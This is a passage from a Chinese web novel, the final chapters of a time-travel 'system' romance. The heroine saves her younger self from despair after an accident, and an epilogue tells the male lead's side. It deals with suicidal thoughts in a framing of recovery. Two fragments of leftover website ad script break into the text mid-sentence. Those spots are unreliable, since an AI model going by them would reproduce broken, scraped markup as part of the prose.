他们经过面前的长廊走到尽头的电梯,进去后那个人按了最顶层的电梯,那是之前其他人不允许踏入的地方。 到房间门口,里面传来所谓的上级部门的讨论声,语气带着些气愤。他们很生气居然一直被这个一手遮天的人蒙在鼓里。 眼镜男抬手敲了敲门,里面传来一句低沉的:“请进。” 在看见林亦慈走进去之后他们停下了讨论,面容缓和了不少。 其中一个像是领头的人开门见山地说:“这位01号系统你好,事发紧急,为了不耽误大家的时间,我直接告诉你我们找你来的目的。” “之前的整个系统被那个贪心的人搞得一团乱麻,现在一切都需要重新规划和安排。这么多系统既然只有你能掌握他的证据并且成功举报,我们相信你的能力。现在只需要你给一个明确的答复,你有没有做下一任主神的打算?” 林亦慈没回复他,只问了一句:“有办法能救回被系统销毁的宿主吗?” 对方像是深思熟虑了一下,随即开口:“这个嘛,有办法。先前主神一个人收揽的能量已经被我们收回,如果能用这个能量的一部分来回溯世界线,那么就可以挽救已经被销毁了的宿主。” 他的意思很明显,你愿意做这个主神,能量给你,你拿去救人他们没意见。但是如果不愿意,那能量就不是你的,至于宿主能不能救,就不管他们的事了。 不管是不是拿这个来协迫他,林亦慈还是没有犹豫就答应他们。 拿到能量之后,他把所有目前的世界线都进行回溯,重新设置任务。 一时间整个系统忙碌得哭天喊地,天天加班到痛不欲生。有人直接谴责这个新上任的主神,但是只有某些的系统知道,他救了所有被困在这里面的人,让他们摆脱无穷无尽的循环。 在亲手设置D9区的时候,林亦慈专门没有抹去任洛年进入系统之前的记忆。他想通过这个系统的任务让她重新认识自己,也许她会想好好活下去呢。 但是他作为主神不能再充当任洛年的专属系统,于是回溯世界线的时候创造了另一个自己陪着任洛年完成在一个个世界线里的任务。 …… 听完所有的事情,任洛年感觉自己完全没有印象,她猜测可能是之前的主神在销毁她的时候把那部分的记忆也销毁了。 她转身摸着林亦慈的脸,轻轻说:“我这次一定不会再忘记你了。” 之前她不懂这句话的含义,现在她知道了,并且想拼命地记住每一个承诺,她不能再忘记林亦慈了。 对方低头捧着她的下巴,随即吻了上来。在感觉到对方柔软嘴唇的那一刻,她听见一个声音。 “你们在干嘛!” 她下意识推开面前的人,像被抓住早恋的学生一样看着天台入口的人。 小任醒来的时候旁边的人不见了,她在家里四处寻找了一会儿没找到人,于是想来天台碰碰运气。 结果刚走到门口就看见两个人亲在一起了,她站在原地难以置信地看着他们两个,犹如五雷轰顶。 林亦慈挑眉笑着向向面前那个稚嫩一点的任洛年,觉得有点可爱。 一遇到这种事情任洛年就慌得不行,她也不知道怎么给十八岁的自己解释这个事情,想松开和林亦慈握在一起的手却被对方握得更紧,她用力也拿不出来。 小任走进了一点,幽怨地看着林亦慈,她一开始有种姐姐被人抢走了的生气,随即想起这个姐姐就是她自己,又开始诧异,她居然也会谈恋爱。 凑近打量了一下林亦慈,她得出结论,这个人还挺帅的,只是为什么眼神看起来有点不怀好意。 都凑到人跟前了,她也不好意思再沉默,但是实在不知道说什么,只能试探地喊了一声:“姐夫?” 林亦慈被这声姐夫逗得笑了一声,旁边的任洛年不知道十八岁的自己脑子是怎么长的,被这句话尴尬地用另一只手捂住脸。 可能是觉得调戏小孩不太好,林亦慈看向旁边的任洛年:“姐夫?” 这次任洛年使劲甩开他的手,匆忙地往楼下走去,脸一路红到耳根。 她一走留下小任和林亦慈大眼瞪小眼。林亦慈看着这个小一点的任洛年,突然很想逗逗她。 “再叫一声姐夫?” 这个人变态呀,我几年后咋找了个变态,小任琢磨着。 她莫名其妙地瞪了林亦慈一眼,也走下楼。林亦慈站在天台的边缘看着她走开的背影笑了出来。 ——— 第二天早上,任洛年拜托小任写了个东西,随即离开世界线,前往下一个节点。 她在知道是最后一个节点的时候心里隐隐有种不好的预感,但是该面对的还是要面对,她已经不是一个遇事就第一时间逃避的人了。 在睁开眼之后,比视觉更先出现的是触觉,倾盆大雨拍打在她的脸上,让她一瞬间全身都湿透了。 雨夜,四周环境黑得伸手不见五指,狭窄的路旁连路灯都很昏暗,连串的雨被灯照亮,走在路上她意识到这是在什么时间点。 转头四处寻找了好久,她都没看见有人的踪迹。因为光线实在很暗再加上雨水遮蔽眼睛,她艰难地找了很久才看见有个人慢悠悠地在雨中行走,看起来精神不是很好。 她第一时间就知道那就是她自己。 刚准备走上前去,眼前就出现刺眼的两光,她一抬眼发现骑摩托车的人已经看见面前的人但是因为速度太快已经刹不住。于是在她还没来得及跑过去的时候,刺耳的碰撞声传来。 她立马不管不顾地冲了过去,地上的人被撞得倒在地上没动静。 没人比她自己更能懂当时那种恨不得直接死掉的痛楚,仿佛全身被放在火上烤,烤得血肉模糊。 轻轻扶起地上的人,她把她放在自己的怀里。摩托车司机生怕她报警,立马骑着车飞驰而过。 她没管他,只是轻声问怀里的人怎么样。 被撞的人艰难地睁开眼看着她,像是看清了她的样子,眼神闪过一些惊讶,随即又被痛苦代替。 她疼得缩起身子,在雨中止不住地颤抖。 任洛年把她扶起,害怕路上再来车,慢慢把她搀扶到河边的长椅上。这时候那个人才缓过气来,问她:“你是谁?” 任洛年料想到她现在也没有精力来思考她存在的合理性,所以如实地回答她。 谁知对面听完还轻笑了一声,像是拉着伤口,又倒吸一口凉气。 “是以后的我吗?我还以为我没有以后了呢。” 她很痛,痛得感觉难以再多忍受一秒,连呼救的力气都没有,想用死来结束这一切。 对方像是知道她在想什么,安抚她:“我已经打救护车电话了,马上就会到了,坚持一下,到医院就好了。” 这时候电话响起,是林亦慈。 任洛年看了看对方木然的表情,问她:“为什么不接。” 为什么,她现在的情绪已经差到极致,她不想和除了自己的任何人交流,害怕一开口就暴露出崩溃的情绪。 手机还在雨中震动,让本就全身痛得想有千万只蚂蚁在咬的人感觉一阵阵烦躁,她无可奈何地把手机关机。 任洛年看着她的动作没说话,也没阻止。 对方靠在椅背上,呼吸很急促,看起来像是很痛苦。突然,她问了旁边的任洛年一句:“你说为什么我不能直接让这种痛苦消失呢?” 任洛年明白她说的这个痛苦说的不止是现在身体的痛苦,还有她这几十年浑浑噩噩的人生。 这次换她沉默了片刻,随即擦干手上的雨水,从包里拿出一个东西。 “我给你看几个东西吧。” 她说着把手里的三个信封递给旁边的人。 拆信的手很抖,好不容易才把信封打开,拿出信件。 第一封信的字迹很稚嫩,她觉得很熟悉,却又想不起来在哪里看到过。 致亲爱的自己: 任洛年,听说你26岁不仅没达到我期望的样子,甚至没出息到差点活不下去了。拜托,我现在寒窗苦读,病都学出来,你倒好,给我玩血条消消乐是吧。 不管怎么说,你不是已经度过了最难的时间吗?你可是一个连高三都熬过了的人,怎么能受不了其他小打击呢? 其实上面我是开玩笑的,希望你能开心一点。我明白,你小时候还挺坚强的,至于为什么长大了会有那种不好的想法呢,你一定是遇见天大的困难了对不对,这个困难一定大到你没有办法解决了,我不怪你。 但是我能理解你,你要相信我,这个世界上没有人比我更爱你了。 我不对你做任何要求和期盼,只有一点,多爱自己一点好吗? …… 我说谎了,其 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 实我还是有点要求的,就是你不准随便放弃生命。你以为那只是你一个人的吗?那还是我的。没有我的允许,你不准随便放弃。 拜托,再坚持一下吧,再努力一下吧。勇敢一点,有什么我们一起面对。 ———18岁生日当天的任洛年 其实一开始她没有想哭的,即使浑身痛成那样也没有流泪。但是看完这封信她哭得泪流满面,分不清是泪水还是雨水在脸上交织着。 这种感觉就好像十八岁的任洛年站在身边安慰着自己,让她再坚持一下。 她随意抹去脸上的泪水和雨水,继续打开第二封信,这封信的字迹和第一封基本上一样。 致亲爱的自己: 嘿,我高考成绩出了,居然考上了A大。我们怎么这么厉害呢。 拜托,我可是想的能考A大我这辈子就圆满了,结果你给我搞这一出。到底是遇见什么事情了呀,我问旁边的任洛年她又不告诉我。 其实说实话,我在看到高考成绩的时候就开始幻想自己以后功成名就的生活了,但知道结局是这样的时候,我其实有点失望。 到底是哪里出了问题呢?压力太大了?任全又来打扰你的生活了?还是江萍又让你帮助任南宁了。 但是很快我又想通了,我做一个选择肯定是有我的道理的,如果连我自己都在怪自己,那和那些欺负我的人有什么区别呢? 所以你不要有太大的压力,只要记住一点,我是爱你的。我是带你走出一次困境的人,相信也能带你走出第二次困境,我永远在你身后。 ——第二天就要去读大学的任洛年 看完第二封她的眼泪再次喷涌而出,她一直在渴求无条件的爱,之前处处碰壁毫无收获,现在居然在自己的身上找到了答案。 第三封的字迹已经很接近她现在的,有些潦草。她仔细读了下去。 致亲爱的自己: 没想到吧,我就是现在的你,准确地来说,是26岁的任洛年,但不完全是。 我已经经过了一个系统的洗礼变成任洛年2.0,总的来说,我现在已经不是原来的自己了。 我比她们更懂你,因为我们经历了一样的事情,有同样的阅历。甚至差点做同样的选择,为什么说差点呢,因为我要来劝你了。 你是不是觉得自己特别倒霉,全世界都对不起你?是不是觉得没有一个人爱你,就连主动放低姿态去求也求不到?是不是觉得自己就算死了也没有任何人会在乎? 亲,我也是这样过来的。但是我现在不会了。 不要等着好运降临,把主动权掌握在自己手里,去主动寻求转机,去迎接新生活。 不要在执着于江萍爱不爱你了,她爱不爱都是她的事情,你知道的,爱是求不来的。 你要懂自己的内心,你如果爱她,那就爱,告诉她。如果不爱,就接受自己不爱她的事实,这没有什么好愧疚的。 你从来不欠别人的,这些都是你自己可以决定的事情。 你的生活需要你自己去探索去尝试,即使受伤,流血,都是你自己独特的生命体验。 再坚强一点吧,再专注自己一点吧。我相信你,我们终将战胜这不值一提的命运。 ———26岁的任洛年 看完这几封信,她听见救护车赶来的声音,随即就是下来的医护人员,她们对着自己的方向快步走过来。 她收好信封,站起身,对着椅子上的人告别。 “谢谢你,我会再尝试一下怎么好好生活。” 说完她自己一瘸一拐地走向救护车,没有回头。 在这一刻,任洛年脑子里响起机械播报音。 “滴,完成重大节点任务,联系度+50,目前总联系度100,宿主可随时脱离系统返回原来的世界线。祝您获得幸福的生活!” 播报完毕,她站起身。 这一刻她突然明白这个联系度指的是什么了。也许根本不是两个人之间的联系度,而是是指的她和生活之间的联系度。 而最后这个世界线,与其说是她穿越时空去拯救以前的自己,不如说是以前的自己在拯救现在的她。 不知道是不是错觉,雨在这一刻小了很多,打在河面上泛起阵阵涟漪。芦苇上挂着水珠,被风一吹落入水面,发出一阵阵的声音。 远处的天空云层散尽,她看见遥远的天际好像有月亮的一角。 突然,她想起来当初进入系统之前听见的一句话。 ——亲爱的宿主,这只是糟糕的一天,不是糟糕的一生,明天我们再试一次。 ———— 正文完 52. 爱的条件 林亦慈这个人向来说一不二,他真的来了。 为此他推掉林鸿给他安排的各种饭局,不仅帮他们做完实践的任务还去带这群学弟学妹到当地玩了一圈。 不到一年的相处让任洛年觉得他这个人有能力,成熟稳重,处理事情冷静又理性,甚至和不同的人打交道都游刃有余。 任洛年很感谢他,同时也很害怕和这种人太近,因为这样会觉得自己很差劲。 不过很快林亦慈就不会离她太近了,因为他要出国留学了。在知道这个事的时候她只是对他说了一句祝你一切顺利。 当时她也不明白自己的内心了,她好像有点难过。林亦慈是一个很好的学长,因为有他的帮助,她甚至对他有一些依赖。 但同时她又很放松,因为他们本来就不该有交集,迟早会变成陌路人,而现在这个时机正好。 她攒钱买的送别礼物是让朋友代送的,本以为这个礼物之后他们再也没有机会再联系。 但是在要走的前一天,林亦慈给她发了一条消息: —任洛年,你想清楚明天来不来送我 她想了一整天,最后的回复是说她有事去不了。说完关上了手机没再敢看。 她心里很清楚如果去了会发生一些改变,但她不愿意接受这个改变。 她开始自我感动地觉得,林亦慈不应该和她有任何关系,最好很快遇见非常优秀的人,他们并肩站起一起的那天她一定会真心祝福。 时间过得很快,学校里的春夏秋冬都被植被记录下来。植物不像人会遮遮掩掩,它们很直白地表达了自己对各个季节的态度。 夏季翠绿茂密,冬天一片白雪,秋天红黄交织,春天万物复苏。 她感觉自己越来越成熟又好像越来越单薄,没有什么能支撑她再走下去。 现在倒是满足她之前的期待,可以活着读完大学了。可是之后呢?当解决了基本的生存问题之后她的世界一片空白,好像从这开始才是她真正可悲人生的开端。 在学校的秋招她投了很多公司,因为在校成绩不错,履历也比较丰富也收到了很多不错的offer。她想着随便找一个的时候收到一个特别的邀请。 任洛年也很纳闷,按理说已经毕业几年,对方早该忘记了自己才对。结果郑长奕专门把她约到一个咖啡店和她当面谈。 和大学时吊儿郎当的样子不同,他穿得人模狗样坐在对面,任洛年都有点认不出他了。 沉默了一会儿,对方先开口。 “最近秋招找到满意的工作了吗?” 任洛年实话实说:“说不上满意,有个班上就行。” 这话让郑长奕有些意外,他看着面前的女孩,她和几年前几乎没有变化,还是那副看淡一切的表情。 他以为任洛年在大学的时候一点也不松懈地学习是因为她和林亦慈是一种人,有野心,清楚地知道自己想要什么。 但是任洛年说的话让他觉得也许他一直不了解面前这个人。他挑眉,问:“既然随便的话,我给你介绍一个。” 对面点点头。 他开始滔滔不绝地讲一个企业,从发展前景到工作环境到薪资待遇都吹得无法无天。 对面的任洛年越听越奇怪,她好不容易才下定决心问:“学长,你确定你不是进入什么传销组织了?” 被她这话气得两眼一黑,郑长奕深呼吸了一口:“我们正规企业,什么传销组织,不瞒你说,是我和几个朋友一起成立的,目前经营状况很好,不出意外的话五年内上市是没有问题的。” 他一边说一边想把林亦慈拉出来鞭打一番,明明是他自己想让任洛年去公司,又偏偏不自己来说,把他当工具人使。 他也不知道林亦慈和任洛年两人之间到底发生过什么,不过看林亦慈这种做法,应该还有的恩怨。如果有恩怨,那他不就是在害任洛年吗? 不过屈服于林亦慈的威逼利诱,他只能先把任洛年骗到公司办理入职,等她发现不对的时候已经是笼中之鸟。 他看着对面一无所知的任洛年,突然感觉自己坏透了,心想回去一定要狠狠敲林亦慈一笔。 任洛年本来对未来的一切都没有什么规划,她想着去就去吧,一份工作而已。于是很爽快地答应了。 这个爽快的态度让郑长奕更加心生愧疚,在心里骂林亦慈不是东西。 在公司报道的时候,任洛年没看见林亦慈,他躲过一劫。 在开会的时候实在躲不过,于是他那天干脆请假没去。殊不知此时任洛年坐在会议室看着面前的人,吓得笔都拿掉了。 她一时没有移开视线,直直地看着坐在会议室中间的人。 对面察觉她的眼神,转头看向她,唇角微微上扬:“是有什么问题吗?” ——— 如果要问林亦慈是什么时候喜欢上任洛年的,那他也说不出具体的,可能是第一次见面,又或者是很多次相处的累积。 但是要问他是什么时候知道自己喜欢任洛年的,那应该就是那天在医院看见她一个人孤零零地坐在医院的长椅上。 那一刻他感觉心揪在了一块,很突然的,他居然对一个相处几个月的女生产生心疼的感觉。 一开始他非常困惑,按理说人都有一套对喜欢的人的标准。他的标准一直很明确,积极乐观向上,总而言之,要有力量。 原因很简单,人活着总归都是要向上走的,他只愿意和志同道合的人成为伙伴,相守一生。 但是很奇怪,任洛年几乎不符合他的任何一条标准。 她不乐观,对生活没有热爱,很多时候好像没有人知道她心里在想什么,像风一样难以捉摸。一开始他以为任洛年和他是一种人,后来这种想法被完全推翻,根本不是。 甚至很多时候, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他觉得任洛年很脆弱。 但他意识到自己喜欢她的时候,她也是一个很脆弱的状态。 那段时间他很烦躁,因为这件事情好像失去了他的掌控。 在他看来,人的喜欢总要一些支点,这个支点也许是因为对方符合自己的某样标准,也许是对方有别的他欣赏的东西。 毕竟他也是达到了外公苛责的要求才得到的爱和关怀。这并没有什么不好的,这些要求确实让他成长为一个合格的人。 所以对任洛年的喜欢他一直没找到答案。 这个时候他开始想问题的解决办法了,既然问题不在他身上,那么一定是在任洛年身上。 他不能说服自己为什么会喜欢任洛年,但是可以让任洛年发展成为他原来所预想的样子,这样一切也能解释得通。 于是他对她一直带着要求和审视,没有太多的上进心就多督促她一些,让她学会把握机会。太脆弱了就让坚强一点,锻炼她的抗压能力。 他没有意识到自己的喜欢给对方带来了数不清的压力。 这种压力让她在最后的时刻也只是把小猫托付给他。 他后来一次一次地想,可能当时她真的觉得他们之间无话可说。 这次失去让他得到了惨痛的教训,也让他真正明白了真正爱是什么样子。 这才意识到他之前对任洛年的根本不叫爱,也许是偏执的掌控欲,也许只是单纯满足自己内心的需求。 他没有了解过任洛年经历过什么才成长成今天这样的性格,但是他却站在自己的认知角度来要求她。 这种后知后觉让他痛苦不堪,情绪前所未有地时失控。这也导致在回去的路上意外发生了车祸。 在他以为自己必死无疑的时候,他进入了一个系统。 在这里,他居然又遇见了任洛年。 不过当时他已经失去记忆了。不过即使失去记忆,他还是再次爱上她。从那以后,他生命中坚信的东西又多了一个,就是不管失去多少次记忆,他还是会爱上同一个人。 她还是很脆弱,不过这次他不会因为她的脆弱放开她的手,不会再自以为是地给她安上名为期待的枷锁。 而是把她紧紧抱在怀里,一遍又一遍安抚,给她讲自己也没听过的睡前故事,在每晚睡前吻上她的额头,希望她能做个好梦。 但是她又在自己面前消失了一次,他再一次体会到这种无能为力的痛苦。 万幸,他们的缘分还没有到尽头。他让另一个时间线的自己来陪伴她,设置了能帮到她的任务,为她设置了独属于她的世界线。 这次她终于真正走出了最大的噩梦,主动牵起他的手,一起重新面对未来的生活。 他现在知道了,她很脆弱,但她能靠自己走出阴影,能抛却原来的一切重新开始,这是这个女孩身上近乎莽撞的勇敢。 ---全文完